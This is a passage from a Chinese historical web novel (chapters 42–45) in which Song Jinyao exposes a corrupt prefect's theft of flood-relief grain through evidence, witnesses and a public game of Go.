她用余光扫过去,刹那间,瞳孔猛地一缩,整个人呆愣在原地。
父亲?
从屋内出来的,正是宋老爷子和刺史大人。等双方都看清人后,脸上不约而同全是震惊。
宋老爷子眼底满是疑惑,而刺史大人则一脸阴沉,目光在宋锦瑶身上来回打量。
“瑶儿,你怎么会在这里?”宋老爷子打破沉默,闻到她身上带有酒气,皱紧眉头,“你这是喝酒了?”
“父亲…我。”
她欲言又止,只能硬着头皮瞎编:“今晚我本想去客栈转转,却没想到人生地不熟,竟被一位公子疯狂灌酒,怕身份暴露丢失父亲脸面,就迷迷糊糊逃跑,殊不知那位公子暗中跟踪,我就趁着还有一丝意识,跑到刺史府,恳求刺史保护。”
“结果刚到这,就被这些侍卫抓起来。”她假装委屈,眼眶湿润,“刺史大人,臣女所言句句如实。”
完美。
宋锦瑶内心沾沾自喜,这个演技实在是太完美了。
42. 042
刺史大人冷哼一声:“看来御史大人家教有待加强啊。这深更半夜,令爱出现在我这刺史府内,还满身酒气,要是被其他人看到传出去,我就是有一百张嘴,也说不清了!”
宋锦瑶横眉冷对刺史,言辞犀利:“刺史大人此话何意?小女深夜赶来,是因被人跟踪,无奈之下才寻求大人庇护,此事与家父何干?”
刺史紧盯着宋锦瑶,对她的话一点也不信,刚要开口反驳,身后突然传来一阵嘈杂声响。
侍卫快速将冲进来的人包围住,举起武器对着那人。宋锦瑶闻声抬头望去,一眼便瞧见此刻最不想见到的身影。
只见孟诩握紧刀柄,气喘吁吁跑进来,瞧见这番场景,整个人瞬间愣在原地。
刺史目光紧盯着孟诩,满脸鄙夷道:“好啊好啊,今日刺史府可真是热闹,请问这位小公子又是谁?瞧这身打扮,莫非是受灾区的百姓?为何手持刀刃闯进刺史府?”
宋老爷子转过身,皱紧眉头不语。
宋锦瑶看到孟诩出现在这,感到两眼一黑,差点没昏死过去,这下想要彻底洗脱嫌疑,难上加难。
孟诩也是第一次见到这般阵仗,被震得一时说不出话来,目光穿过众人,直直落在她的身上。
宋锦瑶闭着眼睛咬了咬牙,下定决心都豁出去。
她快步走上前,自然地挽住孟诩的手腕,笑嘻嘻朝众人说道:“刺史大人误会了,他叫孟诩,是我的心上人。”
闻言,孟诩被吓得下意识想与她保持距离,但被宋锦瑶狠狠拽住。
“孟诩,你敢动一下,我俩今晚就得死在这!”宋锦瑶脸上挂着僵硬的笑,语气里满是警告。
这下,他真的是一点也不敢动,乖乖站在原地,尴尬地看着面前一大群吃瓜群众。
“心上人?宋老爷子满脸惊愕,上下打量着浑身散发着穷酸气的孟诩,又将目光转向干净利落的自家女儿,不可置信道,“瑶儿,你再说一遍?”
宋锦瑶干笑几声,郑重其事道:“父亲,女儿所言句句属实,绝无半分虚假。女儿半年前失踪,幸得孟公子搭救,自那以后,便对他一见钟情。”
“此次前来芙蕖城,就是特意来与他相见。本想着等孟公子有了担当,能独当一面时,再告知父亲,却未曾想事情会这般突然。”
宋老爷子:“……”
这话刺史可信不过,他满脸狐疑打量着孟诩,威胁道:“我要是没记错,你叫孟诩吧?当真如宋小姐所言?你可要想清楚了,欺官可是重罪,若是被我发现你在撒谎,你全家都得跟着下狱。”
孟诩闻言,眼底果然闪过一丝犹豫。宋锦瑶瞧在眼里,急在心里,她紧张地望着他,下意识将他的手挽得更紧。
刺史步步紧逼,继续试探道:“孟诩,你不会为了一个素不相识的官小姐,就拿全家人的性命冒险吧?听说你妹妹才四岁,她还没好好看过这世界,难道就要因为你,丢性命吗?
宋锦瑶眉头紧皱,攥紧手指,实在听不下去刺死所言,她刚想上前阻止,手指突然被人紧紧握住。
孟诩一把将宋锦瑶拉进怀里,眼中满是坚定说道:“宋小姐确实是我的心上人,我们两情相悦。无论刺史大人如何试探,我对宋小姐的心意,日月可鉴。此次前来,是听闻宋小姐被人跟踪,我放心不下。若是刺史大人怀疑我,我甘愿受罚,但求您放过宋小姐,她是无辜的!”
宋锦瑶猛地抬头望向孟诩,这回是她眼中闪过惊愕。
刺史气得咬牙切止道:孟诩!你不过是土生土长的芙蕖城一介草民,竟在这胡言乱语,还妄图高攀御史台,也不掂量掂量自己,配吗?你也不撒泡尿照照自己!”
宋锦瑶回眸望向刺史,脸上略显怒气:“芙蕖城人又如何?刺史大人难道不是芙蕖城人?我实在不明白,您为何要这般贬低他人。在我心里,大昭的百姓从无贵贱之分,只要是对朝廷有贡献的人,都是大昭的骄傲!”
刺史被她这番话震在原地,还想反驳,却被宋锦瑶打断。她接着说道:“小女本是前来寻求刺史大人帮助,可如今看来,大人非但不帮,还侮辱小女的家教和我爱慕之人。依我看,您这刺史,也不过如此。”
“你!你竟然敢……”刺史手指向宋锦瑶,被气得话都话不清楚。
宋老爷子突然拍手大笑,打断道:“好!这才是我的女儿,只要是对朝廷有用的人,都是大昭的骄傲!”
“御史……”刺史一脸难堪地看向宋老爷子,但被宋老爷子抬手打断。
“我知道你疑心重,那就安排人搜身。若搜不出疑点,便放了他们。”宋老爷子笑着说道,“如今县令已招供被抓,雨也停了,芙蕖城的好日子就要来了。再过几日举办宴会庆祝,等我回去上报圣上,必定保举你升任节度使,可别提前坏了心情啊。以后咱们可都是要一起共事的。”
刺史无奈,只好默默点头同意,挥了挥手,示意手下仔细搜身检查。
看着两位大人有说有笑,宋锦瑶却沉默下来,眼眸死死凝视着刺史,脑袋中回荡那句话的意思。
县令被抓?而且还是被招供出来的?贪官不应该是刺史吗?
她一直坚信自己的第六感,况且自己手上还握有证据,若县令确定参与偷梁换柱一事,那主谋一定不会是他。
关键是县令为何突然招供,明明挺过这阵就能升官,却偏偏在这节骨眼上出事,实在让人不得不怀疑刺史。
“宋锦瑶?宋锦瑶你在听吗?”
突然,她猛地从思绪中回过神,一脸懵逼地望向孟诩:“有事吗?”
“没……”他略带一丝犹豫,担忧询问道,“我看你脸色不太好,是又察觉到什么了吗?”
宋锦瑶苦涩摇了摇头,刚想说没事,但脑海中突然想到什么,话锋一转,趁着侍卫去上报情况,她凑近他的耳畔,低语低语起来。
回去的路上,父女俩在马车内一路沉默,直到宋老爷子忍不住开口问道:“瑶儿,你当真与那位小子有私情?为何我从未听你讲起过。”
“父亲,你信则有,不信则无。”她心不在焉轻笑道。
“不是为父不信,只是再次听到从瑶儿嘴中说出有喜欢的人,难免有些惊讶,我还以为你喜欢的人会是王……”
“父亲!”宋锦瑶猛然坐直,立马打断道:“在刺史府时,您提起县令一事是怎么了?今晚您又为何会在刺史府内?”
听到这,宋老爷子悠悠叹了口气:“查清楚了,都是县令一人鬼迷心窍,贪污朝廷赈灾粮。今日为父在刺史府,就是商量如何处置县令一事。如今先将他关押在狱中,等办完宴会,便回京上报圣上。这事儿也算是尘埃落定。”
“都是县令一人所致?父亲,此事怎么看都未免过于奇怪,况且这些都没有直接证据,为何下定义如此之快?”
见宋锦瑶情绪突然激动,宋老爷子皱了皱眉,怒斥道:“有何奇怪?这些可都是县令自己招认的,而且刺史也拿出他贪污的银两数据。就你一个女孩子家不信,又拿不出证据,还质疑为父的判断!你这不是胡闹嘛!”
“
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之前我就好奇你为何三番五次往难民地跑,原来是和那臭小子好上,还闹到刺史府,我都还没说你,你倒说起我来了?”
闻言,宋锦瑶握紧拳头,满眼不甘地看着宋老爷子,说道:“原来我在父亲心里是这样的人吗?既然父亲不信我,那就等宴会当日,我来证明父亲的判断是非真错。”
说罢,宋锦瑶转身朝马夫喊道:“停车!”见马车果然停后,她毫不犹豫下车。
夜晚的风打在脸上带有阵阵寒意,她一个人走在寂静的街道上,身影在灯光下被拉得长长。
不知不觉中,她又走回刺史府,看着这个令人感到厌恶的地方,本想转头就走,不经意间,目光瞥见府前大树下站着两个人影。
这么晚了,会是谁?
宋锦瑶皱紧眉头,探头望去,只见刺史正对着藏在阴影里的人说话,神色慌张,情绪异常激动,可那人却无动于衷。不知为何,她总觉得那人有些眼熟。这种熟悉感让她心里隐隐有些不安。
直到她的目光落在那人腰间的玉佩上,那是皇室才有的物件。宋锦瑶顿时倒吸一口凉气,眼前的人就是幕后黑手。
她刚想凑近看清那人面孔,不料正好踩到落叶上,发出细微声响。
“谁?”刺史朝她大喊道,“谁在哪里?”
宋锦瑶来不及多想,转身拔腿就跑,雨水肆意打在身上。身后传来阵阵急促的脚步声,眼见就要被追上,她不安地打量着周围。
怎么办要是被抓回去,肯定死翘翘。
就在侍卫即将拐弯包围时,突然,她的手腕被人猛地拉进一个黑暗狭窄的小巷。宋锦瑶还没反应过来,一个轻柔却带着丝丝凉意的吻,便落在她的嘴角。
!?
对方顺势将手放在她的腰间,用力一拉,两人紧紧相拥。宋锦瑶躲在他怀里,大脑一片空白,整个人都懵的。
下一秒追兵赶到,四处搜寻无果,看到小巷里两人亲昵的动作,皱了皱眉,没好气地吐槽道:“这么晚了还在这儿幽会,这地方也就这样嘛。”说罢,没发现可疑之人,便转身离开。
那人的吻很轻,像是蜻蜓点水般,分开之际,宋锦瑶抬眸望去,借着外面微弱的灯光,对上那双熟悉的眼眸。
这次,徐颂祁并未身着白衣,眼底的寒光也化为春水,垂眸温柔地注视着她。
看清来人是谁后,她先是愣了一下,随后猛地将徐颂祁推开,自己别过脸,耳尖染上一抹红。
宋锦瑶结巴道:“徐……不对,你怎么会在里?”
徐颂祁嘴角含笑,道:“回京路过此地,听闻你在这儿办事,本想过来看看你,却没想到是以这种方式见面。看来我们还真是有缘。”
见他不像是在撒谎,宋锦瑶思绪纷乱,轻轻“嗯”了一声。
“话说这么晚了,你为何会出现在这?”
被这么一问,宋锦瑶赶忙将关于芙蕖城的事情全都告诉他,并怀疑树下那人,便是刺史与幕后黑手在商量情报。
徐颂祁低头沉思片刻,点了点头,意味深长笑道:“真是每次见到宋小姐,都能给本王带来惊喜。所以,你打算怎么办?”
照目前情况来看,她必须收集足够的证据,在宴会上当众揭发刺史的罪行。但眼下,她得先弄清楚县令到底是怎么回事。
如今和父亲闹僵,他肯定不会让自己入狱见县令。可徐颂祁的出现,就像是老天送来的转机。
宋锦瑶抬眸,直视着那双深不见底的眼眸,坚定道:“徐颂祁,借你身份一用。”
43. 043
近日,宋锦瑶除了整理刺史罪证外,便是在徐颂祁和孟诩之间来回奔走,忙得不可开交
客栈内,宋锦瑶讲诉完自己预谋后,抬眸便瞧见徐颂祁眼中含笑,目光一动不动落在自己脸上。
?
她眉头微皱:“你有在听我讲话吗!”
见她这个的样子,徐颂祁笑意更浓,点头道:“我有在听啊,你是想让我帮你进入牢狱中,去查清县令的事情吧?”
“可是可以,不过……”他话锋一转,“你得帮我件事,只能是由你完成的事。”
牢狱内,四周墙壁爬满青苔,在黯淡的光线映照下,散发出阵阵寒意。
二人来到牢狱门前,狱卒刚想警告他们,徐颂祁立刻拿出玉佩。狱卒只是瞥了一眼,瞬间挺直腰杆,吓得低下头,颤颤巍巍道:“王爷?您……”
徐颂祁神色冷峻,微微抬手示意:“本王奉圣上密令,前来查探芙蕖城贪腐一案,需提审县令,速速打开牢门。”
狱卒们哪敢有丝毫迟疑,手忙脚乱地打开牢门,恭恭敬敬地将他们迎进去。
阴暗潮湿的牢房里,弥漫着一股令人作呕的腐臭气息。墙壁上的火把忽明忽暗,将他们的影子拉得又长又诡异。
县令蜷缩在牢房角落里,头发凌乱,满脸憔悴,听到脚步声,缓缓抬起头来,眼中满是惊恐。
宋锦瑶快步走到牢栏前,双手紧紧握住栏杆,急切问道:“县令大人,我问你,那批赈灾粮究竟去了何处?真正的幕后主使到底是谁?”
县令认出宋锦瑶,疯狂摇头表示自己不知,直到目光落在她身侧的徐颂祁身上时,整个人瞬间僵在原地。
“王爷?”县令呼吸一滞,被吓得意识模糊,全身瑟瑟发抖,不断往墙角挤,生怕他们进来,“放过我吧,都是我一个人做的,我都承认了,你们还想怎么样!”
“县令大人你不要害怕,我们不会伤害你,告诉我到底发生了什么,我相信你是清白的。”
县令的眼神闪躲,捂住耳朵不去听宋锦瑶说的话,嘴里不断重复道:“都是我做的。”
见状,宋锦瑶攥紧手指,不甘道:“你就怎么愿意替刺史背锅吗?你难道没有妻儿吗?你知不知道就这样死去,根本毫无作用,甚至帮不了任何人!”
“我知道你有自己的苦衷,但是你甘愿被人诬陷死掉吗?没有任何人会记住你,反而你的子孙会被世人唾弃,一辈子抬不起头。百姓们也不会因为你死掉而生活美满,因为真正的恶人依旧逍遥法外。”
宋锦瑶一口气说完,眼底满是替他人感到愤怒:“县令大人,求告诉我吧,我会帮你来证明清白。”
县令眼中划过惊愕,犹豫了许久,才嗫嚅着开口:“我……我不能说,说了他们会杀了我的家人。”声音微弱,带着深深恐惧。
徐颂祁走上前,目光如炬,冷冷地盯着县令:“圣上对贪腐之事深恶痛绝,你若如实招来,本王或许还能在圣上面前为你求情,保你家人平安。否则,你全家都得跟着你陪葬!”
县令身子猛地一颤,脸上露出痛苦挣扎的神色。
过了好久,他才缓缓开口:“是……是刺史,是他指使我做的这一切。他说只要我配合,就保我不死,事后升官发财,还会护我家人周全。”他的声音带着哭腔,眼中满是懊悔。
“那你为何突然招供?”
县令满脸绝望:“我本不想招供,可刺史拿我家人性命威胁,我实在是没有办法……王爷,我觉得宋小姐说得对,我不能就这样被诬陷,我还想活,求你救救我。”
说罢,他朝着宋锦瑶和徐颂祁下跪。泪水从眼角砸在地上。
注意到宋锦瑶握紧栏杆的手指微微泛白,徐颂祁便垂眸不再说话,寂静牢狱里,只剩下县令哭泣声。
“我知道了。”宋锦瑶重新抬头望向跪在地上的县令,语气凝重道,“我会帮你的,但在此之前,你得将全部的信息告诉我,及听从我一切安排。”
从牢狱出来后,外面太阳已经下山。两人并肩而行,余光正好打在宋锦瑶沉思的脸上。
徐颂祁注意到她一脸沉思,担忧问道:“怎么了?从里面出来你的脸色就不太好。”
她轻轻摇了摇头,神色有些忧虑:“徐颂祁,明日便是宴会,你觉得我可以吗?要是我没做好,会不会大家的努力都白费了。”
徐颂祁没有说话,静静地垂眸注视着宋锦瑶:“宋锦瑶,你现在手上证据确凿,一定行的,我相信你。”
两人相互望着对方,良久,她眼底的紧张瞬间消失,轻笑着点头。
宋锦瑶一定行的。
翌日清晨,芙蕖城大街小巷都是烟花爆竹,群众围在一起,热烈祝贺县令贪污被抓,个个脸上都带着笑容。
百姓站在街道两侧,中间过往芙蕖城官员,不少儿童相互追逐打闹,场面十分热闹。
其中不少孩童拿着布娃娃,大声高唱民谣:“黑棋子,白棋子,不如贪官黑心子!”
芙蕖城官员满脸笑容,与宋老爷子站在前面,向下面的百姓喊道:“各位,恭喜我们芙蕖城在御史大人帮助下,成功铲除一位贪官。县令在职期间,不仅私自垄断芙蕖城经济,还贪污此次朝廷赈灾粮,可谓罪大恶极,令人深恶痛绝!”
“今日举办宴会,有三喜。一是庆祝我们芙蕖城重获新生,二是为感谢御史帮我们破此局,三是为我们刺史大人升官,日后他会更加照顾芙蕖城的所有百姓!”
言罢,低下一片欢呼声,大家都鼓掌庆祝此刻。
轮流几位官员说完后,本想让宋老爷子说几句,但他只是苦笑摇了摇头,便顺给下一位官员继续发言。
下一位官员看到群众的脸庞,厌恶道:“县令竟敢贪污百姓的救命钱,应该立即斩首,全家打入牢狱,以此为戒。不像我们刺史大人,深爱百姓,好几日因为水患,怕百姓吃不饱睡不暖,迟迟未能入睡,像刺史这样的大人,才配大家为荣!”
大家大声表示赞同,低下又是一片掌声。
突然,街道中央传来马车声,大家不约而同抬头望去,一眼便瞧见刺史的马车姗姗来迟。
“是刺史大人来了!”
“刺史大人,感谢你为芙蕖城做的一切!”
马车在众人的目光与掌声中缓缓走过,身侧不断传来大家的感激声。
忽然,人群中跑出一位女子,她手持长剑,三两步站在马车前,眼神闪过阵阵寒光,吓得马立即停下动作。
一切发生的太突然,惊得大家目瞪口呆,全都愣在原地,互相交头接耳,窃窃私语打量着她。
正当官员想呵斥那位女子时,宋老爷子率先低声喊了句:“瑶儿?”
宋锦瑶当街拦轿,握紧长剑冷笑挑衅道:“刺史大人,今日是你升官发财日,小女本不想打扰,可心里有个疑惑,不得不请教刺史大人你。”
马车内没有说话,周围杂声越来越多,好几位官员本想出手制止,但意识到对方是御史之女,只好硬着头皮没有说话。
迟迟未得回应,宋锦瑶满脸不屑,继续道:“刺史大人,你曾给御史大人看的芙蕖城历来账册,小女想让你当百姓面,说出里面所花费的银两当
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真?”
马车内:“……”
见他还是不说话,周围的议论声越来越多,群众逐渐跟着她怀疑刺史,甚至开始大声要求刺史下车解释。
良久,刺史掀开车帘,从里面走出来:“多日不见,宋小姐别来无恙。本刺史愚钝,不知宋小姐此话何意?但给御史看的芙蕖城账册,千真万确不是假账。当时御史大人也说了,并没有增加或划除痕迹。”
“到底是听不懂还是心虚?”宋锦瑶丝毫不慌,冷眼看着反驳道,“因为刺史大人账册全部都是假的,所以哪来的痕迹?此局布得妙。”
闻言,刺史紧蹙眉头,怒斥道:“好你个宋锦瑶,诬陷造谣可是重罪,你也只不过是个会下棋的女子,谁给你胆量跟我怎么说话!”
“是啊,我也只会下棋,但刺史大人别忘了,女子无论是第六感还是洞察力,都比男子优越。听闻大人棋艺高超,可敢与我对弈一局?赌注便是您袖中那本‘石头账’!”
“你!”刺史咬牙切齿看着宋锦瑶。
他知道宋锦瑶就是想引自己对弈,本能想开口拒绝,但听到百姓们的议论声,若是他真的拒绝,就坐实宋锦瑶给他的罪名。
无论是进还是退,全都在这个女人计划里。
刺史不甘地咽两口唾沫,整个神经异常紧绷,不安地望向面前那些官员,一个个都低着头,显然不想陷进去。
刺史暴怒却不敢当众发作,强撑面子:“无知妇人!本官若赢,你当众自刎谢罪!”
此话一出,众人全部抬头禁声,满脸不可置信地看着刺史,只有宋锦瑶忍不住笑出声,轻蔑道:“好啊,胜者取赌注,败者依律论处。”
芙蕖城乌云遍布,鸟雀低飞,随时都会下雨。街道上,人满为患挤在一起,气氛压抑得让人喘不过气。
棋桌横在中央,两人分隔两边。宋锦瑶神色淡然,紧盯着棋盘,抬眸间,瞧见刺史满头汗珠,忍不住嘲讽道:“刺史大人,这还没开始对弈呢,你可别提前溺水了啊。”
刺史强作镇定反驳道:“你也就会点嘴皮子功夫,要是输了可……”
话音未落,宋锦瑶打断道:“我不会输的,刺史大人。”说罢,眼中闪过势在必得神色,看得刺史越发愤怒。
她捻起黑子砸落在棋盘上,惊心动魄的棋局就此展开。
刺史拿起白子,手指在棋子边缘反复摩挲,犹豫好一会,才将白子落下。
【先稳住,看她到底还能拿出什么。】
宋锦瑶嘴角微扬,却没有丝毫笑意:“大人,您可知自水患以来,百姓吃得都是掺了砂石的陈年霉米吗?而真正的好米,却被某些贪官换到别地。”
刺史结巴回答:“果真如此?这些事都是县令安排的,他从未与我提过。”
宋锦瑶看都没看,意味深长道:“是吗?后来我去拜访您的师爷,他老人家说这是您一人处理的。”
下一秒,外面传来一阵嘈杂,孟诩带着几位年轻的小伙子,抬着一袋被调包的赈灾粮,狠狠倒在棋桌上,米粒四溅。
米尘飞扬的瞬间,与潮湿的空气混合,散发出刺鼻的霉味。
宋锦瑶再次说道:“刺史大人,后来,我也找到真正的供粮仓,要是你看到了,肯定会跟我一样大吃一惊。哦,我忘了,那本来就是你放的地方。”
“这……这是污蔑!”刺史猛地站起身,双手用力撑着桌面,指关节因为用力泛白,脸色涨得通红。
宋锦瑶淡淡地抬眸凝视着他,脸上浮现笑容,语气像死神般低语道:“别慌啊大人,好戏才刚刚开始呢。”
44. 044
天空渐渐飘起小雨,细密的雨丝落在青瓦上,发出沉闷的声响。
人群在雨中攒动,嘈杂的人声与淅淅沥沥的雨声交织在一起。百姓们披着破旧的蓑衣,交头接耳,眼神中满是讨要说法的急切。
宋锦瑶不慌不忙,黑子稳稳占据棋局一角。她一边构建防线,稳固自己的根基,一边凶狠果断,无情杀穿白子阵营。
刺史咬紧牙关,注意力根本无法集中在棋局上,耳边听着百姓们窃窃私语,不禁呵斥道:“闭嘴!都给我闭嘴。就因为一个女子的胡言乱语,你们就信了?还是不是芙蕖城的人,我们应该团结起来,把这个人赶出去!”
宋锦瑶冷哼一声:“刺史大人这是何意?小女陪同父亲调查芙蕖城贪官一事,既然事情并非如您所言,那我自然有权利继续探查下去。”
说罢,她又将黑子落在左下角的“三三”位置,既确保角地的安全,又为后续的发展奠定基础。
闻言,刺史立马冷静下来,嗤笑一声:“宋锦瑶,就凭你这点本事,就笃定我是贪官?不愧是女……”
话音未落,宋锦瑶垂眸捻起黑子,落在白子中间,清冷打断道:“这第二罪,私吞官银。”
她的声音清脆,但带着不容置疑的气场,在这压抑的街道上格外清晰,甚至压过屋外的雨声。
人群中冲出一位身形佝偻的老者,他青筋暴起的双手高高举起一张泛黄的地契,用尽全身力气大喊道:“这是他私吞官银购置私宅的铁证!”
随着这一声怒吼,百姓和芙蕖城官员纷纷探头望去,满眼不可置信地看着刺史,每个人心中刺史的形象开始瓦解崩塌。
原本刺史还满不在乎地冷笑,但看到“私宅地契”这铁证时,笑容瞬间凝固,眼中满是惊愕。
【不可能,她怎么可能会有这东西?我明明把地契放在房间里啊,难道是…那天?】
刺史猛地看向宋锦瑶,脸色煞白。
他强装镇定,猛地拍向桌面,起身扯着嗓子大声吼道:“你休要血口喷人!这是污蔑,是陷害!我怎么可能拿百姓的救命钱买房,你们得相信我啊。”
说罢,在场鸦雀无声,每个人都下意识退后一步,警惕地看向刺史。
宋锦瑶神色平静,无视他百口莫辩的姿态,又捻起一枚黑子。
趁着他现在乱了阵脚,正好趁势扩大优势。
黑子在空中稍作停顿,落在左边星位附近,与之前“三三”子相互呼应,形成“小尖”连接,逐渐扩大势力范围。
刺史恼羞成怒,抓起白子,重重砸在黑子扩张路线上,试图切断宋锦瑶的连接,进行反击。这一步棋凶狠凌厉,带着破釜沉舟的气势。
宋锦瑶眉头微皱,利用“小飞”手法,避开白子的锋芒,同时对刺史的白子形成包围趋势。
刺史脸色涨红,压低语气恶狠狠地说道:“宋锦瑶,我待你不薄,为何执意置我于死地!”
“刺史大人可知何为官?”她淡淡回道,“官字两张口,一为百姓喉舌,二为天地良心。您呢?”
闻言,刺史执棋越来越慌乱,手指开始微微颤抖,每落一子都犹豫不决。他试图挽救局面,却发现自己的棋子处处受制,漏洞百出。
随着棋局推进,宋锦瑶又接连落下几子,每落一子,便揭露一罪。
“这三罪,强占民女!”
话音刚落,一位面容憔悴的女子被众人搀扶着走上前,泣声道:“各位大人,你们得为我们做主啊!我本是良家女子,却被这狗官强行掳入府中,而且府内还有很多与我同岁的女子!”
“要不是宋小姐及时发现并救我们,我可能一辈子都得服侍在这狗官身侧,这还有没有王法了!”
百姓们一边安抚女子情绪,一边指责刺史的恶行,甚至要求芙蕖城官员给个说法。
芙蕖城官员愣在原地,满脸不可置信地打量着心虚的刺史,希望他能反驳几句。
刺史张了张口,将头埋得更深,额头疯狂冒着冷汗,却始终再没有说过一句话。
“还有这罪,勾结富商,垄断市场!”宋锦瑶再次说道,“还将罪行全推给县令,让他替你遭牢狱之灾,差点惨遭家破人亡。”
刺史猛地抬头对上宋锦瑶那双眼睛,刚想开口狡辩,一位商人模样的男子站出来,呈上一叠账本,上面详细记录着刺史与富商勾结的账目。
“就凭这个账本,就断定是我栽赃给县令吗!宋锦瑶,你未免也太异想天开了吧?况且你又有什么证据来证明,你这个账本就是真的?”
“我确实没证据,但是我有证人。”
说罢,侍卫押着县令缓缓出现在人群视野中,大家满眼惊愕地看着被打得不成人样的县令,下意识倒吸一口气。
宋锦瑶抬眸望向刺史:“先贪朝廷赈灾粮,后得知御史台前来调查,特意伪装好一切,引导御史认为是县令所为,但怕县令不配合,便以家人性命和升官来威胁县令,给你当替罪羊。”
“你与师爷狼狈为奸,让我和御史大人不得不顺着你的计划进行,但你太小瞧百姓的力量了。通过百姓得知近年来你做事的风格,加上百姓吃的全是掺了砂石的陈年霉米,让我更加怀疑赈灾粮到底进了谁的口袋。”
“刺史大人,如果我没猜错的话,知府新装修的房梁,其实就是你藏银子的地方吧?”
此时的棋局,宋锦瑶的黑子已经将刺史的白子分割包围,形成多个“死棋”区域。
刺史脸色越来越难看,双腿发软,想要辩驳但又无从说起。
他依然不死心,哆嗦着否认道:“放屁!栽赃,你们绝对是为了保全这个贪官县令,才这么诬陷我的,我才是清白的!”
闻言,县令满脸失望地看着他,劝说道:“她们都已经将证据摆在你面前,为何你还执迷不悟?刺史大人,回头是岸啊。”
“放你娘的狗屁,我岸早被这洪水淹了!”刺史情绪逐渐失控,“你不是答应会帮我吗?为何要将这些告诉这个女人,你才是叛徒,你活该下牢狱,活该被打。”
群众一脸鄙夷地打量着刺史,但他像癫狂似的,丝毫不在乎他人眼光,甚至将在场的所有官员全都骂了一遍。
宋锦瑶不语,眼神朝身后瞥了一眼,正好与孟诩相互对视,对方立马明白她的意思,他握紧刀柄快速朝刺史乘坐的车轿砍去。
众目睽睽下,马车轿子在暴雨中瞬间被劈开,轿子内侧显露出夹层金砖,惊得在场人全都倒吸一口气。
“大人,您这轿子比百姓住的房屋还要结实啊。”宋锦瑶冷冷道。
“那又怎样!我是刺史,怕金砖放家里被你这种小人偷,随身带着与你何干?”
“死到临头还嘴硬,我看你还有什么要说的!”宋锦瑶朝周围侍卫大声喊道,“将从知府房梁搜出的东西带上来。”
说罢,一箱箱装满金条和珠宝的箱子被人抬上来,看得百姓目瞪口呆,周围议论纷纷,要不是她和御史还在,百姓恨不得将刺史当场活剐。
宋锦瑶指着一箱金条说道:“刺史大人,你在职多年,到底贪污百姓和朝廷多少银子,恐怕不止车轿和知府这点吧?”
刺史脸色苍白,嘴唇发干,整个人止不住发抖,哆哆嗦嗦望向宋锦瑶,质问道:“血口喷人!你有何证据证明这是我放
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的?万一是别的官员呢?”
见他还不承认,宋锦瑶不得不佩服他此刻强大的心理防线。
这时,从人群里走出来一个年轻小伙子,他不敢抬头去看刺史,低着头说道:“刺史大人,那日是你让我将这赃物嵌进房梁上的,我记得清清楚楚。”
“畜生!滚,都给我滚。”刺史拿起桌子上的棋筒朝小伙砸去,吓得小伙连连退后。
宋锦瑶看着满眼慌张的刺史,心中毫无怜悯。她深吸一口气,抬手落下关键一棋,这一步直接将刺史的“活棋”彻底破坏,整个棋局胜负已分。
“罪证确凿,你已无从抵赖!”
见毫无生机的棋局,刺史彻底瘫坐在椅子上,眼神空洞,再也没有往日的威风,嘴里喃喃自语:“完了,全完了……要是被大人知道,可是会死的。”
宋锦瑶紧盯着神色恍惚的刺史,高呼道:“棋道为公,民意为天!既然你做了这种事情,迟早都会遭天谴。”
突然,刺史像是想到什么,猛地站起身,嘴里止不住发笑道:“宋锦瑶,就算被你发现又如何,这里是芙蕖城,只要我还是刺史,这就是我的地盘。快,来人将这贱民擒下!”
侍卫们面面相觑,无人动弹。
“愣在那儿干什么!我可是刺史,快将这个贱人擒下!”
百姓们也都站在原地,没有理会他的命令。
孟诩实在是看不下去,冲上去一脚将刺史踢倒在地,恶狠狠回道:“您还不明白吗?我们从一开始就是宋小姐的人,故意演这一出就是引你上钩,您这个老不死的,我呸!”
“什么?你说什么!”刺史猛地抬头望向孟诩。
“要不是宋小姐相救,我们早就因水患活活饿死,还来参加你升官宴会?至于说得那些话,故意讲给你听的,要的就是让您和宋小姐下棋,以这种形式告诉其他狗官,你的卑鄙下流!”
这么一说,他瞬间回想那时的不对劲,反应过来后,整个人僵在原地,脑袋一片空白。
“您不是不信粮食造假吗?”宋锦瑶俯视着轻蔑地盯着他,将供粮仓记录单甩他脸上,“但这记录单,可是刺史大人您亲自签名的呢。”
刺史呆呆地攥紧记录单,看到果然是自己签的名,被吓得失语。
见状,人群顿时爆发出愤怒的呼喊:“贪官,还我们粮食!”
“严惩这狗官!”
“斩了他!”
不知谁先砸来第一块碎石,顷刻间,烂菜叶混着臭鸡蛋全都砸向地上的刺史,发冠被砸掉,官袍也被搞得一身污渍。
宋锦瑶径直走向银箱,与宋老爷子对视一眼,见他昂首点头,她毫不犹豫转身朝百姓喊道:“取之于民,还之于民!我会将此事上报给圣上,但朝廷赈灾粮,将如期发放给芙蕖城每个百姓。”
话音刚落,百姓们先是不可置信地愣了半秒,随后立马发出震耳欲聋的欢呼声,他们激动地抱在一起,眼中满是喜悦。
“宋姑娘,你是我们的大恩人啊!”
“多亏了宋姑娘,才让这贪官得到应有的惩罚!”
百姓们纷纷围拢过来,疯狂对宋锦瑶鞠躬道谢,语气间全是感激。
芙蕖城官员集体以棋盒盛米举过头顶,大声朝宋锦瑶喊去:“宋先生千秋!”
闻言,宋锦瑶和百姓纷纷回头望去,见他们排排站在一起,表情复杂但透出真诚。
见状,百姓们不甘落后,也跟着大声喊道。
万民呼应:“宋先生千秋!”
雨水依旧淅沥地下着,宋锦瑶看着眼前欢呼雀跃的百姓,眼中闪过惊愕,随后露出欣慰的笑容。
45. 045
刺史被双手捆绑,丢在地上。孩童们不断捡起菜叶子,砸向他的脸,嘴里还大声唱着民谣:
“黑棋子,白棋子,不如贪官黑心子!”
宋老爷子闻声走来,满脸歉意地看向宋锦瑶,道:“瑶儿,是为父大意了。不该对你说那些话,原来你从一开始就做好计划,是为父的错,为父这个御史当得太不称职了。”
宋锦瑶摇了摇头,轻声说道:“父亲,多亏了您,我才能更深入地了解事情的真相。这是我给您准备的大礼,您可满意?”
“满意。”宋老爷子点头,沉思着说,“我已经派人八百里加急上奏,想必此事会惊动整个京城。瑶儿,你的聪明和才华不该被埋没。”
宋锦瑶惊愕地看着宋老爷子,张了张嘴,却什么也说不出来。
“别高兴得太早!你们以为揭发我就万事大吉了?殊不知自己早已经被皇室的人盯上了,只要圣上一死,你们迟早都会下地狱!”
“大胆!”宋老爷子呵斥道,“圣上乃九龙护体,岂是你能随便诅咒的?真不怕死后碎尸万段。来人,将这个贪官打入大牢,随时等待圣上发落。”
